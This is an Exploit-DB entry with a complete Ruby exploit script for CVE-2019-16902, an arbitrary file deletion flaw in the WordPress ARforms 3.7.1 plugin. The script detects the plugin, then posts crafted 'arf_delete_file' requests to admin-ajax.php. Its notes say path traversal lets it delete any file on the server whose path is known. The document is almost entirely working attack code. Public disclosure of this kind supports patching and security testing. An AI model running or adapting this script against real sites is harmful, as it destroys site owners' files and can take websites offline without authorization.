WordPress Plugin ARforms 3.7.1 - Arbitrary File Deletion

EDB-ID:

47443




Platform:

PHP

Date:

2019-09-30


#!/usr/bin/env ruby

# Exploit Title: WordPress Arforms - 3.7.1 
# CVE ID: CVE-2019-16902
# Date: 2019-09-27
# Exploit Author: Ahmad Almorabea
# Author Website: http://almorabea.net
# Updated version of the exploit can be found always at : http://almorabea.net/cve-2019-16902.txt 
# Software Link: https://www.arformsplugin.com/documentation/changelog/
# Version: 3.7.1

#**************Start Notes**************
# You can run the script by putting the script name and then the URL and the URL should have directory the Wordpress folders.
# Example : exploit.rb www.test.com, and the site should have the Wordpress folders in it such www.test.com/wp-contnet.
# Pay attention to the 3 numbers at the beginning maybe you need to change it in other types like in this script is 143.
# But maybe in other forms maybe it's different so you have to change it accordingly.
# This version of the software is applicable to path traversal attack so you can delete files if you knew the path such ../../ and so on 
# There is a request file with this Script make sure to put it in the same folder.
#**************End Notes****************

require "net/http"
require 'colorize'

$host       = ARGV[0] || ""
$session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad"



def start_function ()

  puts "It's a weird question to ask but let's start friendly I'm Arforms exploit, what's your name?".yellow
  name = STDIN.gets

  if $host == ""
      puts "What are you doing #{name} where is the URL so we can launch the attack, please pay more attention buddy".red
      exit
  end


  check_existence_arform_folder
  execute_deletion_attack
 
  puts "Done ... see ya  " + name 

end


def send_checks(files_names)


 
 
  j = 1
  while j <= files_names.length-1
  
      uri = URI.parse("http://#{$host}/wp-content/uploads/arforms/userfiles/"+files_names[j])
      http = Net::HTTP.new(uri.host, uri.port)
      http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS

      request = Net::HTTP::Get.new(uri.request_uri)
      request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"
      request["Connection"] = "keep-alive"
      request["Accept-Language"] = "en-US,en;q=0.5"
      request["Accept-Encoding"] = "gzip, deflate"
      request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
      

      begin
        
        response = http.request(request).code
        puts "The File " + files_names[j] + " has the response code of " + response
      rescue Exception => e
        puts "[!] Failed!"
        puts e
      end
      j = j+1 
  end
end


def check_existence_arform_folder ()

 

  path_array = ["/wp-plugins/arforms","/wp-content/uploads/arforms/userfiles"]
  $i = 0 
  results = []

  while $i <= path_array.length-1  
    
    uri = URI.parse("http://#{$host}/#{path_array[$i]}")
    #puts uri
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS
    request = Net::HTTP::Get.new(uri.request_uri)
    response = http.request(request)
    results[$i] = response.code
    #puts"response code is : " + response.code
    
    $i +=1

  end

  puts "****************************************************"
  
  if results[0] == "200" || results[0] =="301"

    puts "The Plugin is Available on the following path : ".green + $host + path_array[0]
  else
    puts "We couldn't locate the Plugin in this path, you either change the path or we can't perform the attack, Simple Huh?".red
    exit
  end
  
  if (results[1] == "200" || results[1] == "301")                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     

      puts "The User Files  folder is  Available on the following path : ".green + $host + path_array[1]
  else

     puts "We couldn't find the User Files folder, on the following path ".red +  $host + path_array[1]
    
  end
  puts "****************************************************"

  

end


def execute_deletion_attack ()

    

    puts "How many file you want to delete my man"
    amount = STDIN.gets.chomp.to_i

    if(amount == 0)
      puts "You can't use 0 or  other strings this input for the amount of file you want to delete so it's an Integer".blue
      exit
    end

    file_names = []
    file_names[0] = "143_772_1569713145702_temp3.txt"
    j = 1
   while j <= amount.to_i
      puts "Name of the file number " + j.to_s 
      file_names[j] = STDIN.gets
      file_names[j].strip!
      j = j+1
    end


    uri = URI.parse("http://#{$host}")
    #puts uri
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'   
    request = Net::HTTP::Get.new(uri.request_uri)
    response = http.request(request)
    global_cookie = response.response['set-cookie'] + "; PHPSESSID="+$session_id #Assign the session cookie
  



    $i = 0
    while $i <= file_names.length-1 

    puts "Starting the Attack Journey .. ".green 

      uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
      headers =
      {
         'Referer'         => 'From The Sky',
         'User-Agent'      => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
         'Content-Type'    => 'multipart/form-data; boundary=---------------------------14195989911851978808724573615',
         'Accept-Encoding' => 'gzip, deflate',
         'Cookie'          => global_cookie,
         'X_FILENAME'      => file_names[$i],
         'X-FILENAME'      => file_names[$i],
         'Connection'      => 'close'

       }

      http    = Net::HTTP.new(uri.host, uri.port)
      http.use_ssl = true if uri.scheme == 'https'    
      request = Net::HTTP::Post.new(uri.path, headers)
      request.body = File.read("post_file")
      response = http.request request
     
      $i = $i +1     
  end
    
    execute_delete_request file_names,global_cookie,amount.to_i
    
    puts "Finished.........."

end

def execute_delete_request (file_names,cookies,rounds )

  
    $i = 0
    
    while $i <= file_names.length-1   

    puts "Starting the Attack on file No #{$i.to_s} ".green  
  
        uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
        headers =
        {
           'Referer'         => 'From The Sky',
           'User-Agent'      => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
           'Accept'          => '*/*',
           'Accept-Language' => 'en-US,en;q=0.5',
           'X-Requested-With'=> 'XMLHttpRequest',
           'Cookie'          =>  cookies,
           'Content-Type'    => 'application/x-www-form-urlencoded; charset=UTF-8',
           'Accept-Encoding' => 'gzip, deflate',
           'Connection'      => 'close'
        }

        http    = Net::HTTP.new(uri.host, uri.port)
        http.use_ssl = true if uri.scheme == 'https'   
        request = Net::HTTP::Post.new(uri.path,headers)
        request.body = "action=arf_delete_file&file_name="+file_names[$i]+"&form_id=143"
        response = http.request(request)
        
        if $i != 0
          puts "File Name requested to delete is : " + file_names[$i] + " has the Response Code of " + response.code
        end
         $i = $i +1 
     
    end

    send_checks file_names
     
end


start_function()